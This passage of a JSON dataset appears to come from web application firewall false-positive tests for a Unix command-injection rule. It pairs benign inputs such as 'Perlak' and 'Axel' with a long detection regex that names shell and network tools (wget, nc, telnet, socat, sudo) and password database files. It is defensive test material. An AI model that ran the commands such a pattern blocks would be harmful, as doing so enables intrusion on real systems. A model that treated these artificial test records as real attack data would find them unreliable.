a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "False positive test: 'schedule' (FP while rule looks for 'sched')" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=comment" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\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\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "FP with word comment Github Issue #3387" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "last_name=Perlak" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a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sible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "FP against name 'Perlak' (matches 'perl')" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "first_name=Axel" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]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)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "FP against word 'Axel'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=performance" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[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|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\